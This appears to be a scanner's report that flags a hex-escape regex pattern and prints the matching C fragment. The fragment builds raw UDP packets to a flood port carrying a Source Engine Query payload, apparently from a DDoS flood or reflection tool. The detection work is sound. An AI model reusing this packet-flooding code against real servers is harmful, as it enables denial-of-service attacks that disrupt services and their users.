Detected 2 occurrence(s) of ‘\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}\\x[0-9a-f]{2}': memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); udph->check = 0; udph->dest = htons(floodport); int size; size = 25; init_rand(time(NULL)); memcpy((void *)udph + sizeof(struct udphdr), "\xFF\xFF\xFF\xFF\x54\x53\x6F\x75\x72\x63\x65\x20\x45\x6E\x67\x69\x6E\x65\x20\x51\x75\x65\x72\x79\x00", size); udph->len=htons(sizeof(struct udphdr) + size); iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + size; iph->daddr = sin.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); Source: […]
↧